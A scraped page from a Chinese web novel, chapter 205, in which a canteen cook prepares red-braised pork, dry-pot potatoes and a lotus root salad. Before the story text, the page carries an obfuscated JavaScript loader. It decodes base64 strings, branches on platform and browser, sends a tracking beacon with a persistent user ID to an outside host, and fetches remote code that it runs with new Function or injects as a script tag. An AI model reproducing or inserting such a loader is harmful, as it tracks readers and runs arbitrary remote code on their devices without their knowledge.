足迹
摄政王的倾世医妃全文免费阅读
登录
关灯
护眼
字体:

第205章 香喷喷的红烧肉(第1页)

function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};

苏寻味睨了一眼后厨准备好的食材,除了一大盆的切成丁的五花肉之外,还有土豆,还有昨天她刚刚做过的莲藕。

食堂每天都有汤的,不过食堂的汤水向来都被称为刷锅水。

因为这汤一般都是西红柿鸡蛋汤,要不就是紫菜鸡蛋汤,只有遇到什么节日才会用点不费钱的猪头骨来炖点冬瓜。

这汤是改不了的,成本太大,她厨艺再好,也要看菜下碟,看水放米的。

“东食堂那边遇到这样的食材一般都是怎么做的?”苏寻味看向了孙大叔,忽然问道。

所谓知己知彼,方能百战不殆。

既然要将西食堂的菜品搞好,保持稳定的口碑,在机关食堂站住脚跟,那苏寻味这第一战就必须要做好,起码也要体现出跟东食堂的差异化来。

孙大叔想了想,当即道:“东食堂啊,就是乱炖,这土豆,莲藕,还有肉,他们喜欢一锅炖,这样又省事,还能让这些素菜也能沾点荤腥,吃起来也好吃。”

“这铁锅炖的确是适合食堂的做法。”苏寻味也认同地点了点头。

一锅炖,的确是省事儿,而且还能让素菜也吸收一点肉味,大家吃着也香一些。

听了苏寻味的话,孙大叔的脸上顿时浮起了一抹失望来,道:“苏师傅,你也要做乱炖啊?”

苏寻味轻轻一笑,道:“自然不,这乱炖你们都吃了这么多年了,也该腻味了,今天,我自然要换个口味的。三种食材,那不得做出来三个菜吗?先将土豆和莲藕都切成厚片吧。”

这五花肉已经切成丁了,那就做个最简单,但是最考究厨子功夫的红烧肉。

这红烧肉要想做得好,那就一定要做到肥而不腻,入口即化的感觉。

另外,土豆片,苏寻味打算直接做个干锅土豆,莲藕片则是做个凉拌莲藕。

这凉拌的莲藕吃起来酸酸辣辣的,正好解了那红烧肉的油腻,相得益彰。

苏寻味在心里定好的菜谱,这才开始炒菜的。

先将切好的肉冷水下锅,放入料酒和姜片,焯一下水,然后捞出沥干水分。

起锅,放糖,先将肉块炒个糖色。

炒糖色不能急躁,必须用小火将白糖慢慢融化,也不能炒过头了,否则糖色就会发苦,这样一锅红烧肉就毁了。

炒好糖色后,将红烧肉倒进去,均匀地裹上了糖色。

裹好糖色之后,苏寻味给锅里头加入了热水,没过了红烧肉,然后将早就准备好的大料倒了锅里。

大火烧开,然后转到小火慢炖。

这红烧肉炖的时间一定要足够,炖到红烧肉足够软烂入味,这样吃起来才有肥而不腻,入口即化的感觉。

趁着红烧肉炖着的时间,苏寻味开始做别的菜。

起锅烧水,然后将切成薄片的莲藕倒进大锅里头焯水。

为了焯水出来的莲藕好看,可以在中途加一点油,这样莲藕不会变黑。

焯好水的莲藕放入油盐酱醋,蒜头,小米辣,葱花,香菜搅拌均匀,一道酸辣可口的凉拌莲藕就做好了。

而土豆片则更简单了,直接过一遍油,将土豆片炸到外脆里嫩的状态,然后放入辣椒粉,孜然粉,胡椒粉等配料,再加点葱花搅拌,一份香喷喷的干锅土豆就做好了。